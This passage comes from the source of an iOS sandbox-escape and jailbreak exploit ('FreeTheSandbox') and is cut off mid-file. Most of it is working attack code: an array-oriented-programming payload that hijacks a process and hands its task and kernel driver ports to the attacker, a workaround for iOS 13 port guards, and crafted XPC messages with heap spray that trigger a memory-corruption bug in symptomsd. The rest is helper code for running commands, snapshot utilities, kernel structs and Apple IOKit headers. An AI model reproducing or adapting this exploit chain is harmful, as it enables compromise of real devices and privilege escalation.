(uint64_t)IODispatchCalloutFromMessage; // Reset x2 *(uint64_t*)(fake_Block + 0x38) = 0x0; // Reset w1 (Only 32bit) /* Begin Array-Oriented-Programming function chain-calling Payload arrangement: 0x0 ... Used during taking control of PC 0x100 ... AOP array object itself 0x118 ... For AOP data-use 0x1500 ... For AOP call-use 0x3E00 ... AOP array storage 0x4000 */ uint32_t _aop_FuncCALL_primer_offset = 0x3E00; uint32_t _aop_FuncCALL_offset = 0x1800; uint32_t _aop_data_offset = 0x118; // offset is right after fake array // Craft a fake array, stru has changed and req size increased to 0x18 since iOS13, was 0x10 spraymem[OF(0x100)] = spray_start_address + _aop_FuncCALL_primer_offset; // Array internal pointer, point to stored objects pool spraymem[OF(0x108)] = -1; // Array count, -1 causes the array to iterate endlessly -1 spraymem[OF(0x110)] = 0; // new value introd since iOS13, keep it empty // --- Following are AOP data-use aop_Insert_Data(lookup_io_server_rawmsg, bootstrap_look_up_machmsg_bytes, sizeof(bootstrap_look_up_machmsg_bytes)); *(uint64_t*)(vm_remap_machmsg_bytes + 56) = 0x4000000; // 0x4000000 //0x30000; // size of iosurface aop_Insert_Data(vm_remap_rawmsg, vm_remap_machmsg_bytes, sizeof(vm_remap_machmsg_bytes)); struct { mach_msg_header_t Head; // Head.msgh_local_port: +12 mach_msg_body_t msgh_body; mach_msg_port_descriptor_t our_recv_port; // our_recv_port.name: +28 mach_msg_port_descriptor_t our_task_port; // our_task_port.name: +40 mach_msg_port_descriptor_t IOSurfaceRoot_servport; // IOSurfaceRoot_servport.name: +52 mach_msg_port_descriptor_t AppleAVE2Driver_servport; // AppleAVE2Driver_servport.name: +64 mach_msg_trailer_t trailer; }_remote_recvmsg = {0}; // Size: 84 _remote_recvmsg.Head.msgh_size = sizeof(_remote_recvmsg); struct { mach_msg_header_t Head; // Head.msgh_local_port: +12 mach_msg_trailer_t trailer; }_remote_recvmsg2 = {0}; // Size: 32 _remote_recvmsg2.Head.msgh_size = sizeof(_remote_recvmsg2); struct { mach_msg_header_t Head; // Head.msgh_local_port: +12 uint64_t remote_map_addr; // remote_map_addr: +24 mach_msg_trailer_t trailer; }_remote_recvmsg3 = {0}; // Size: 56 _remote_recvmsg3.Head.msgh_size = sizeof(_remote_recvmsg3); struct { mach_msg_header_t Head; // Head.msgh_remote_port +8 mach_msg_body_t msgh_body; mach_msg_port_descriptor_t port_send_to_us; // port_send_to_us.name +28 }_remote_sendmsg = {0}; _remote_sendmsg.Head.msgh_bits = MACH_MSGH_BITS_COMPLEX|MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); _remote_sendmsg.Head.msgh_size = sizeof(_remote_sendmsg); _remote_sendmsg.msgh_body.msgh_descriptor_count = 1; _remote_sendmsg.port_send_to_us.name = mach_task_self(); _remote_sendmsg.port_send_to_us.disposition = MACH_MSG_TYPE_MOVE_SEND; _remote_sendmsg.port_send_to_us.type = MACH_MSG_PORT_DESCRIPTOR; struct { mach_msg_header_t Head; }_remote_sendmsg2 = {0}; _remote_sendmsg2.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); _remote_sendmsg2.Head.msgh_size = sizeof(_remote_sendmsg2); struct { mach_msg_header_t Head; uint64_t send_remap_addr_to_us; // send_remap_addr_to_us: +24 }_remote_sendmsg3 = {0}; _remote_sendmsg3.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE); _remote_sendmsg3.Head.msgh_size = sizeof(_remote_sendmsg3); aop_Insert_Data(remote_recvmsg, &_remote_recvmsg, sizeof(_remote_recvmsg)); aop_Insert_Data(remote_recvmsg2, &_remote_recvmsg2, sizeof(_remote_recvmsg2)); aop_Insert_Data(remote_recvmsg3, &_remote_recvmsg3, sizeof(_remote_recvmsg3)); aop_Insert_Data(remote_sendmsg, &_remote_sendmsg, sizeof(_remote_sendmsg)); aop_Insert_Data(remote_sendmsg2, &_remote_sendmsg2, sizeof(_remote_sendmsg2)); aop_Insert_Data(remote_sendmsg3, &_remote_sendmsg3, sizeof(_remote_sendmsg3)); // --- Following are AOP code-use // Call bootstrap_look_up to retri listening port aop_FuncCALL(mach_port_allocate, mach_task_self(), MACH_PORT_RIGHT_RECEIVE, lookup_io_server_rawmsg + offsetof(mach_msg_header_t, msgh_local_port), 0); aop_FuncCALL(mach_msg_send, lookup_io_server_rawmsg, 0, 0, 0); aop_FuncCALL(mach_msg_receive, lookup_io_server_rawmsg, 0, 0, 0); aop_FuncCALL_memcpy_32bits(remote_recvmsg + offsetof(mach_msg_header_t, msgh_local_port), lookup_io_server_rawmsg + 28); aop_FuncCALL(mach_msg_receive, remote_recvmsg, 0, 0, 0); aop_FuncCALL_memcpy_32bits(remote_recvmsg2+12, remote_recvmsg+12); aop_FuncCALL_memcpy_32bits(remote_recvmsg3+12, remote_recvmsg+12); aop_FuncCALL_memcpy_32bits(remote_sendmsg+8, remote_recvmsg+28); aop_FuncCALL_memcpy_32bits(remote_sendmsg2+8, remote_recvmsg+28); aop_FuncCALL_memcpy_32bits(remote_sendmsg3+8, remote_recvmsg+28); aop_FuncCALL_memcpy_32bits(vm_remap_rawmsg+8, remote_recvmsg+40); aop_FuncCALL(mach_port_allocate, mach_task_self(), MACH_PORT_RIGHT_RECEIVE, vm_remap_rawmsg + offsetof(mach_msg_header_t, msgh_local_port), 0); aop_FuncCALL(mach_msg_send, remote_sendmsg2, 0, 0, 0); // To inform us that pwned proc got the msg contains our port // Then passing own task port to us aop_FuncCALL(mach_msg_send, remote_sendmsg, 0, 0, 0); /* Reason of doing this, instead like in iOS12 exploit, open IO service port via IOServiceOpen and passing to us directly. iOS 13 added new mitigation prevent all IOUserClient (obtain via IOServiceOpen) port from moving to other ipc space, namely diff tasks. I supposed these port are marked as guarded port. Example crash: Exception Type: EXC_GUARD Exception Subtype: GUARD_TYPE_MACH_PORT Exception Message: on mach port 84999 (guarded with 0x0000000000000000) Exception Note: SIMULATED (this is NOT a crash) Way to get around this is "passively" passing to us, like use task_get_special_port/task_set_special_port trick */ // Opening and passing kernel driver ports to us. aop_FuncCALL_memcpy_32bits(spray_start_address + _aop_FuncCALL_offset + 24 + 24, remote_recvmsg+52); aop_FuncCALL(dlsym((void*)-2, "IOServiceOpen"), 0x414141, mach_task_self(), 0, spray_start_address + _aop_FuncCALL_offset + 24 + 76); aop_FuncCALL(task_set_special_port, mach_task_self(), TASK_SEATBELT_PORT, 0x414141, 0); aop_FuncCALL(mach_msg_send, remote_sendmsg2, 0, 0, 0); aop_FuncCALL(mach_msg_receive, remote_recvmsg2, 0, 0, 0); // Waiting for us to notify pwned proc we got the port aop_FuncCALL_memcpy_32bits(SPRAY_ADDRESS + _aop_FuncCALL_offset + 24 + 24, remote_recvmsg+64); aop_FuncCALL(dlsym((void*)-2, "IOServiceOpen"), 0x414141, mach_task_self(), 0, spray_start_address + _aop_FuncCALL_offset + 24 + 76); aop_FuncCALL(task_set_special_port, mach_task_self(), TASK_ACCESS_PORT, 0x414141, 0); aop_FuncCALL(mach_msg_send, remote_sendmsg2, 0, 0, 0); // Waiting for overwriting over the iosurface mapping memory, key to trigger vulnerability in kernel aop_FuncCALL(mach_msg_receive, remote_recvmsg3, 0, 0, 0); // Perform cross-task memory mapping aop_FuncCALL_memcpy_32bits(vm_remap_rawmsg+76, remote_recvmsg3+24); aop_FuncCALL_memcpy_32bits(vm_remap_rawmsg+80, remote_recvmsg3+28); // src addr which is the remote mapping addr aop_FuncCALL(mach_msg_send, vm_remap_rawmsg, 0, 0, 0); aop_FuncCALL(mach_msg_receive, vm_remap_rawmsg, 0, 0, 0); // send remap addr to us aop_FuncCALL_memcpy_32bits(remote_sendmsg3+24, vm_remap_rawmsg+36); aop_FuncCALL_memcpy_32bits(remote_sendmsg3+28, vm_remap_rawmsg+40); // src addr which is the remote mapping addr aop_FuncCALL(mach_msg_send, remote_sendmsg3, 0, 0, 0); // Block here to waiting for finish exploitation aop_FuncCALL(mach_msg_receive, remote_recvmsg2, 0, 0, 0); // Duty completed aop_FuncCALL(exit, 0, 0, 0, 0); //printf("_aop_data_offset: 0x%x\n", _aop_data_offset); //printf("_aop_FuncCALL_offset: 0x%x\n", _aop_FuncCALL_offset); //printf("_aop_FuncCALL_primer_offset: 0x%x\n", _aop_FuncCALL_primer_offset); } void symptomsd_vuln_prepare1(){ xpc_connection_t xpcconn = xpc_connection_create_mach_service("com.apple.symptoms.symptomsd.managed_events", NULL, 0); xpc_connection_set_event_handler(xpcconn, ^(xpc_object_t object) { }); xpc_connection_resume(xpcconn); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(msg, "type", 2); // case 2: read_and_set_config, case 3: read_config xpc_object_t config_arr = xpc_array_create(NULL, 0); xpc_dictionary_set_value(msg, "config", config_arr); xpc_object_t each_config = xpc_dictionary_create(NULL, NULL, 0); // Parse by -[ConfigurationHandler read:returnedValues:] xpc_array_append_value(config_arr, each_config); xpc_dictionary_set_string(each_config, "GENERIC_CONFIG_TARGET", "com.apple.symptoms.test.request-passthrough"); // [knownItems objectForKey: ???] xpc_object_t signature_arr = xpc_array_create(NULL, 0); xpc_dictionary_set_value(each_config, "TRIGGERED_SIGNATURES", signature_arr); // Enter -[SimpleSymptomEvaluator configureInstance:] xpc_object_t each_signature = xpc_dictionary_create(NULL, NULL, 0); xpc_array_append_value(signature_arr, each_signature); xpc_dictionary_set_string(each_signature, "SIGNATURE_NAME", "HAHA"); xpc_dictionary_set_string(each_signature, "ADDITIONAL_INFO_GENERATOR", "CertificateErrors"); //CertificateErrors xpc_dictionary_set_string(each_signature, "ADDITIONAL_INFO_SELECTOR", "conditionMinCount"); //additionalSelector xpc_dictionary_set_string(each_signature, "SYNDROME_NAME", "new_HAHA2"); // must set xpc_dictionary_set_int64(each_signature, "RULE_AWD_CODE", 7); // -[SimpleSyndromeHandler configureInstance:] xpc_dictionary_set_int64(each_signature, "SYNDROME_DAMPENING_INTERVAL", 0); // SimpleSyndromeHandler->_dampeningInterval xpc_dictionary_set_string(each_signature, "SYNDROME_HANDLER", "ManagedEventHandler"); // ??? getHandlerByName: xpc_connection_send_message_with_reply(xpcconn, msg, dispatch_get_main_queue(), ^(xpc_object_t object) { }); } void symptomsd_vuln_prepare2(int boo){ xpc_connection_t xpcconn = xpc_connection_create_mach_service("com.apple.symptoms.symptomsd.managed_events", NULL, 0); xpc_connection_set_event_handler(xpcconn, ^(xpc_object_t object) { }); xpc_connection_resume(xpcconn); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_uint64(msg, "type", 2); // case 2/3 xpc_object_t config_arr = xpc_array_create(NULL, 0); xpc_dictionary_set_value(msg, "config", config_arr); xpc_object_t each_config = xpc_dictionary_create(NULL, NULL, 0); // Parse by -[ConfigurationHandler read:returnedValues:] xpc_array_append_value(config_arr, each_config); xpc_dictionary_set_string(each_config, "GENERIC_CONFIG_TARGET", "CertificateErrors"); // [knownItems objectForKey: CertificateErrors] if(boo){ xpc_dictionary_set_string(each_config, "REQUIRED_MINIMUM_COUNT", "5637210112"); // Turn SPRAY_ADDRESS to Decimal } else{ xpc_dictionary_set_string(each_config, "REQUIRED_MINIMUM_COUNT", "0"); // 0x150010110 (5637210384) | crash: 22817079568 } xpc_connection_send_message_with_reply(xpcconn, msg, dispatch_get_main_queue(), ^(xpc_object_t object) { }); } void symptomsd_vuln_trigger(int boo){ xpc_connection_t xpcconn = xpc_connection_create_mach_service("com.apple.usymptomsd", NULL, 0); xpc_connection_set_event_handler(xpcconn, ^(xpc_object_t object) { //printf("replyA\n"); //char *err = xpc_dictionary_get_string(object, XPC_ERROR_KEY_DESCRIPTION); //printf("erra: %s\n", err); }); xpc_connection_resume(xpcconn); size_t payload_size = 8 + 72 + 100 + 6; // payload head + 1st tlv length + 1st tlv body + beginning of 2nd tlv (To break the loop) char *payload = malloc(payload_size); bzero(payload, payload_size); *(uint16_t*)payload = 2; // case ? for switch statement *(uint16_t*)(payload + 2) = 72; // len for SYMTLV_SYM_BASIC *(uint8_t*)(payload + 11) = 0x40; // Do not let it passes: if ( !(*(_BYTE *)(payload + 11) & 0x40) ) *(uint16_t*)(payload + 72 + 4) = 8; // Do not let it passes: if ( *(_WORD *)(payload_ing_inner + *(uint16_t*)(payload + 2) + 4) != 8 ) char *payload_inner = payload + 72 + 4; *(uint16_t*)(payload_inner + 2) = 100; // v45 // Do not let these pass: if ( v45 & 3 ) // if ( payload_remain_len < v45 + 4 ) //payload_remain_len: payload_size - 72 - 4 // if ( (unsigned int)v45 <= 11 ) // if ( v47 + 8 > v45 ) //v47: *(uint32_t*)(payload_inner + 8) *(uint32_t*)(payload_inner + 8) = 100 - 8; // provided EventKey max length *(uint32_t*)(payload_inner + 4) = 0xFFFFFFFF; // Must let it passes: if( _bittest((int*)(payload_inner + 4), 29u) ) strcpy(payload_inner + 12, "com.apple.symptoms.test.request-passthrough"); xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_data(msg, "payload", payload, payload_size); void *sprayData = NULL; if(boo){ // Prepare spray data uint32_t sprayData_len = 0x20000; sprayData = malloc(sprayData_len); memset(sprayData, 0x0, sprayData_len); for(int i=0; i #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #import #define RAWLOG(str, args...) do { printf("%s\n", [[NSString stringWithFormat:CFSTR(str), ##args] UTF8String]); } while(false) //#define RAWLOG(str, args...) do { writetofile([NSString stringWithFormat:CFSTR(str), ##args]); } while(false) /*extern char *itunes_export_path; void writetofile(NSString *str){ NSString *oldstr = [NSString stringWithContentsOfFile:[NSString stringWithUTF8String:itunes_export_path] encoding:NSUTF8StringEncoding error:nil]; if(oldstr){ oldstr = [oldstr stringByAppendingString:@"\n"]; oldstr = [oldstr stringByAppendingString:str]; } else{ oldstr = str; } [oldstr writeToFile:[NSString stringWithUTF8String:itunes_export_path] atomically:YES encoding:NSUTF8StringEncoding error:nil]; }*/ #define LOG(str, args...) RAWLOG("[*] " str, ##args) extern char **environ; NSData *lastSystemOutput=nil; int runCommandv(const char *cmd, int argc, const char * const* argv, void (^unrestrict)(pid_t)) { pid_t pid; posix_spawn_file_actions_t *actions = NULL; posix_spawn_file_actions_t actionsStruct; int out_pipe[2]; bool valid_pipe = false; posix_spawnattr_t *attr = NULL; posix_spawnattr_t attrStruct; NSMutableString *cmdstr = [NSMutableString stringWithCString:cmd encoding:NSUTF8StringEncoding]; for (int i=1; i 0) { LOG("%s(%d): %@", __FUNCTION__, pid, line); } lastSystemOutput = [outData copy]; } if (waitpid(pid, &rv, 0) == -1) { LOG("ERROR: Waitpid failed"); } else { LOG("%s(%d) completed with exit status %d", __FUNCTION__, pid, WEXITSTATUS(rv)); } } else { LOG("%s(%d): ERROR posix_spawn failed (%d): %s", __FUNCTION__, pid, rv, strerror(rv)); rv <<= 8; // Put error into WEXITSTATUS } if (valid_pipe) { close(out_pipe[0]); } return rv; } int runCommand(const char *cmd, ...) { va_list ap, ap2; int argc = 1; va_start(ap, cmd); va_copy(ap2, ap); while (va_arg(ap, const char *) != NULL) { argc++; } va_end(ap); const char *argv[argc+1]; argv[0] = cmd; for (int i=1; i #include #include #include #include #include #import #if __has_include() #include #else #include typedef mach_port_t io_object_t; typedef io_object_t io_registry_entry_t; typedef char io_string_t[512]; typedef UInt32 IOOptionBits; extern const mach_port_t kIOMasterPortDefault; io_registry_entry_t IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path); CFTypeRef IORegistryEntryCreateCFProperty(io_registry_entry_t entry, CFStringRef key, CFAllocatorRef allocator, IOOptionBits options); kern_return_t IOObjectRelease(io_object_t object ); #endif #include "libsnappy.h" static char *copyBootHash(void); #define APPLESNAP "com.apple.os.update-" __attribute__((aligned(4))) typedef struct val_attrs { uint32_t length; attribute_set_t returned; attrreference_t name_info; char name[MAXPATHLEN]; } val_attrs_t; bool snapshot_check(int dirfd, const char *name) { const char **snapshots = snapshot_list(dirfd); if (snapshots == NULL) { return false; } for (const char **snapshot = snapshots; *snapshot; snapshot++) { if (strcmp(name, *snapshot)==0) { free(snapshots); return true; } } free(snapshots); return false; } const char **snapshot_list(int dirfd) { uint64_t nameOffset = 257 * sizeof(char *); uint64_t snapshots_size = nameOffset + MAXPATHLEN; char **snapshots = (char **)calloc(snapshots_size, sizeof(char)); struct attrlist attr_list = { 0 }; if (snapshots == NULL) { perror("Unable to allocate memory for snapshot names"); return NULL; } attr_list.commonattr = ATTR_BULK_REQUIRED; val_attrs_t buf; bzero(&buf, sizeof(buf)); int retcount; int snapidx = 0; while ((retcount = fs_snapshot_list(dirfd, &attr_list, &buf, sizeof(buf), 0))>0) { val_attrs_t *entry = &buf; int i; for (i=0; ireturned.commonattr & ATTR_CMN_NAME) { size_t size = strlen(entry->name) + 1; if (snapidx > 255) { fprintf(stderr, "Too many snapshots to handle\n"); return (const char **)snapshots; } if (nameOffset + size > snapshots_size) { snapshots_size += MAXPATHLEN; snapshots = (char **)reallocf(snapshots, snapshots_size); if (snapshots == NULL) { perror("Couldn't realloc snapshot buffer"); return NULL; } } snapshots[snapidx] = (char *)snapshots + nameOffset; nameOffset += size; strncpy(snapshots[snapidx], entry->name, size); snapidx++; } entry = (val_attrs_t *)((char *)entry + entry->length); } bzero(&buf, sizeof(buf)); } if (retcount < 0) { perror("fs_snapshot_list"); return nil; } return (const char **)snapshots; } static int sha1_to_str(const unsigned char *hash, size_t hashlen, char *buf, size_t buflen) { if (buflen < (hashlen*2+1)) { return -1; } int i; for (i=0; i #import typedef struct { union { uint64_t lck_mtx_data; uint64_t lck_mtx_tag; }; union { struct { uint16_t lck_mtx_waiters; uint8_t lck_mtx_pri; uint8_t lck_mtx_type; }; struct { struct _lck_mtx_ext_ *lck_mtx_ptr; }; }; } lck_mtx_t; typedef struct vnode_resolve* vnode_resolve_t; typedef uint32_t kauth_action_t; LIST_HEAD(buflists, buf); struct vnode { lck_mtx_t v_lock; /* vnode mutex */ TAILQ_ENTRY(vnode) v_freelist; /* vnode freelist */ TAILQ_ENTRY(vnode) v_mntvnodes; /* vnodes for mount point */ TAILQ_HEAD(, namecache) v_ncchildren; /* name cache entries that regard us as their parent */ LIST_HEAD(, namecache) v_nclinks; /* name cache entries that name this vnode */ vnode_t v_defer_reclaimlist; /* in case we have to defer the reclaim to avoid recursion */ uint32_t v_listflag; /* flags protected by the vnode_list_lock (see below) */ uint32_t v_flag; /* vnode flags (see below) */ uint16_t v_lflag; /* vnode local and named ref flags */ uint8_t v_iterblkflags; /* buf iterator flags */ uint8_t v_references; /* number of times io_count has been granted */ int32_t v_kusecount; /* count of in-kernel refs */ int32_t v_usecount; /* reference count of users */ int32_t v_iocount; /* iocounters */ void * v_owner; /* act that owns the vnode */ uint16_t v_type; /* vnode type */ uint16_t v_tag; /* type of underlying data */ uint32_t v_id; /* identity of vnode contents */ union { struct mount *vu_mountedhere;/* ptr to mounted vfs (VDIR) */ struct socket *vu_socket; /* unix ipc (VSOCK) */ struct specinfo *vu_specinfo; /* device (VCHR, VBLK) */ struct fifoinfo *vu_fifoinfo; /* fifo (VFIFO) */ struct ubc_info *vu_ubcinfo; /* valid for (VREG) */ } v_un; struct buflists v_cleanblkhd; /* clean blocklist head */ struct buflists v_dirtyblkhd; /* dirty blocklist head */ struct klist v_knotes; /* knotes attached to this vnode */ /* * the following 4 fields are protected * by the name_cache_lock held in * excluive mode */ kauth_cred_t v_cred; /* last authorized credential */ kauth_action_t v_authorized_actions; /* current authorized actions for v_cred */ int v_cred_timestamp; /* determine if entry is stale for MNTK_AUTH_OPAQUE */ int v_nc_generation; /* changes when nodes are removed from the name cache */ /* * back to the vnode lock for protection */ int32_t v_numoutput; /* num of writes in progress */ int32_t v_writecount; /* reference count of writers */ const char *v_name; /* name component of the vnode */ vnode_t v_parent; /* pointer to parent vnode */ struct lockf *v_lockf; /* advisory lock list head */ int (**v_op)(void *); /* vnode operations vector */ mount_t v_mount; /* ptr to vfs we are in */ void * v_data; /* private data for fs */ struct label *v_label; /* MAC security label */ //#if CONFIG_TRIGGERS vnode_resolve_t v_resolve; /* trigger vnode resolve info (VDIR only) */ //#endif /* CONFIG_TRIGGERS */ }; ================================================ FILE: Exploits/FreeTheSandbox/xpc.h ================================================ // // xpc.h // D22_final_iOS // // Created by aa on 3/23/19. // Copyright © 2019 aa. All rights reserved. // #ifndef xpc_h #define xpc_h #define XPC_DECL(name) typedef xpc_object_t name##_t extern const char *const _xpc_error_key_description; #define XPC_ERROR_KEY_DESCRIPTION _xpc_error_key_description typedef void * xpc_object_t; XPC_DECL(xpc_connection); typedef void (^xpc_handler_t)(xpc_object_t object); void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message, dispatch_queue_t _Nullable replyq, xpc_handler_t handler); xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection, xpc_object_t message); void xpc_connection_resume(xpc_connection_t connection); void xpc_connection_send_message(xpc_connection_t connection, xpc_object_t message); pid_t xpc_connection_get_pid(xpc_connection_t connection); xpc_connection_t xpc_connection_create_mach_service(const char *name, dispatch_queue_t _Nullable targetq, uint64_t flags); xpc_object_t xpc_dictionary_create(const char * _Nonnull const * _Nullable keys, const xpc_object_t _Nullable * _Nullable values, size_t count); void xpc_dictionary_set_int64(xpc_object_t xdict, const char *key, int64_t value); void xpc_dictionary_set_uint64(xpc_object_t xdict, const char *key, uint64_t value); void xpc_dictionary_set_data(xpc_object_t xdict, const char *key, const void *bytes, size_t length); void xpc_dictionary_set_value(xpc_object_t xdict, const char *key, xpc_object_t _Nullable value); void xpc_dictionary_set_string(xpc_object_t xdict, const char *key, const char *string); void xpc_dictionary_set_bool(xpc_object_t xdict, const char *key, bool value); void xpc_dictionary_set_mach_send(xpc_object_t xdict, const char *key, mach_port_t port); void xpc_dictionary_set_mach_recv(xpc_object_t xdict, const char *key, mach_port_t port); const char * _Nullable xpc_dictionary_get_string(xpc_object_t xdict, const char *key); xpc_object_t xpc_array_create(const xpc_object_t _Nonnull * _Nullable objects, size_t count); void xpc_array_append_value(xpc_object_t xarray, xpc_object_t value); xpc_object_t xpc_data_create(const void * _Nullable bytes, size_t length); void xpc_connection_cancel(xpc_connection_t connection); xpc_object_t xpc_null_create(void); void xpc_connection_resume(xpc_connection_t connection); char * xpc_copy_description(xpc_object_t object); #endif /* xpc_h */ ================================================ FILE: Exploits/IOKit/IOKitKeys.h ================================================ /* * Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved. * * @APPLE_OSREFERENCE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. The rights granted to you under the License * may not be used to create, or enable the creation or redistribution of, * unlawful or unlicensed copies of an Apple operating system, or to * circumvent, violate, or enable the circumvention or violation of, any * terms of an Apple operating system software license agreement. * * Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License for the specific language governing rights and * limitations under the License. * * @APPLE_OSREFERENCE_LICENSE_HEADER_END@ */ /* * Copyright (c) 1999 Apple Computer, Inc. All rights reserved. * * Common symbol definitions for IOKit. * * HISTORY * */ #ifndef _IOKIT_IOKITKEYS_H #define _IOKIT_IOKITKEYS_H // properties found in the registry root #define kIOKitBuildVersionKey "IOKitBuildVersion" #define kIOKitDiagnosticsKey "IOKitDiagnostics" // a dictionary keyed by plane name #define kIORegistryPlanesKey "IORegistryPlanes" #define kIOCatalogueKey "IOCatalogue" // registry plane names #define kIOServicePlane "IOService" #define kIOPowerPlane "IOPower" #define kIODeviceTreePlane "IODeviceTree" #define kIOAudioPlane "IOAudio" #define kIOFireWirePlane "IOFireWire" #define kIOUSBPlane "IOUSB" // registry ID number #define kIORegistryEntryIDKey "IORegistryEntryID" // property name to get array of property names #define kIORegistryEntryPropertyKeysKey "IORegistryEntryPropertyKeys" // IOService class name #define kIOServiceClass "IOService" // IOResources class name #define kIOResourcesClass "IOResources" // IOService driver probing property names #define kIOClassKey "IOClass" #define kIOProbeScoreKey "IOProbeScore" #define kIOKitDebugKey "IOKitDebug" // IOService matching property names #define kIOProviderClassKey "IOProviderClass" #define kIONameMatchKey "IONameMatch" #define kIOPropertyMatchKey "IOPropertyMatch" #define kIOPropertyExistsMatchKey "IOPropertyExistsMatch" #define kIOPathMatchKey "IOPathMatch" #define kIOLocationMatchKey "IOLocationMatch" #define kIOParentMatchKey "IOParentMatch" #define kIOResourceMatchKey "IOResourceMatch" #define kIOResourceMatchedKey "IOResourceMatched" #define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch" #define kIONameMatchedKey "IONameMatched" #define kIOMatchCategoryKey "IOMatchCategory" #define kIODefaultMatchCategoryKey "IODefaultMatchCategory" // IOService default user client class, for loadable user clients #define kIOUserClientClassKey "IOUserClientClass" // key to find IOMappers #define kIOMapperIDKey "IOMapperID" #define kIOUserClientCrossEndianKey "IOUserClientCrossEndian" #define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible" #define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance" // diagnostic string describing the creating task #define kIOUserClientCreatorKey "IOUserClientCreator" // IOService notification types #define kIOPublishNotification "IOServicePublish" #define kIOFirstPublishNotification "IOServiceFirstPublish" #define kIOMatchedNotification "IOServiceMatched" #define kIOFirstMatchNotification "IOServiceFirstMatch" #define kIOTerminatedNotification "IOServiceTerminate" #define kIOWillTerminateNotification "IOServiceWillTerminate" // IOService interest notification types #define kIOGeneralInterest "IOGeneralInterest" #define kIOBusyInterest "IOBusyInterest" #define kIOAppPowerStateInterest "IOAppPowerStateInterest" #define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest" #define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage" // IOService interest notification types #define kIOCFPlugInTypesKey "IOCFPlugInTypes" // properties found in services that implement command pooling #define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber) // properties found in services that implement priority #define kIOMaximumPriorityCountKey "IOMaximumPriorityCount" // (OSNumber) // properties found in services that have transfer constraints #define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber) #define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber) #define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber) #define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber) #define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber) #define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber) #define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber) #define kIOMaximumSegmentByteCountWriteKey "IOMaximumSegmentByteCountWrite" // (OSNumber) #define kIOMinimumSegmentAlignmentByteCountKey "IOMinimumSegmentAlignmentByteCount" // (OSNumber) #define kIOMaximumSegmentAddressableBitCountKey "IOMaximumSegmentAddressableBitCount" // (OSNumber) #define kIOMinimumSaturationByteCountKey "IOMinimumSaturationByteCount" // (OSNumber) // properties found in services that wish to describe an icon // // IOIcon = // { // CFBundleIdentifier = "com.example.driver.example"; // IOBundleResourceFile = "example.icns"; // }; // // where IOBundleResourceFile is the filename of the resource #define kIOIconKey "IOIcon" // (OSDictionary) #define kIOBundleResourceFileKey "IOBundleResourceFile" // (OSString) #define kIOBusBadgeKey "IOBusBadge" // (OSDictionary) #define kIODeviceIconKey "IODeviceIcon" // (OSDictionary) // property of root that describes the machine's serial number as a string #define kIOPlatformSerialNumberKey "IOPlatformSerialNumber" // (OSString) // property of root that describes the machine's UUID as a string #define kIOPlatformUUIDKey "IOPlatformUUID" // (OSString) // IODTNVRAM property keys #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY" #define kIONVRAMSyncNowPropertyKey "IONVRAM-SYNCNOW-PROPERTY" #define kIONVRAMActivateCSRConfigPropertyKey "IONVRAM-ARMCSR-PROPERTY" #define kIODTNVRAMPanicInfoKey "aapl,panic-info" // keys for complex boot information #define kIOBootDeviceKey "IOBootDevice" // dict | array of dicts #define kIOBootDevicePathKey "IOBootDevicePath" // arch-neutral OSString #define kIOBootDeviceSizeKey "IOBootDeviceSize" // OSNumber of bytes // keys for OS Version information #define kOSBuildVersionKey "OS Build Version" #endif /* ! _IOKIT_IOKITKEYS_H */ ================================================ FILE: Exploits/IOKit/IOKitLib.h ================================================ /* * Copyright (c) 1998-2014 Apple Computer, Inc. All rights reserved. * * @APPLE_LICENSE_HEADER_START@ * * This file contains Original Code and/or Modifications of Original Code * as defined in and that are subject to the Apple Public Source License * Version 2.0 (the 'License'). You may not use this file except in * compliance with the License. Please obtain a copy of the License at * http://www.opensource.apple.com/apsl/ and read it before using this * file. * * The Original Code and all software distributed under the License are * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. * Please see the License 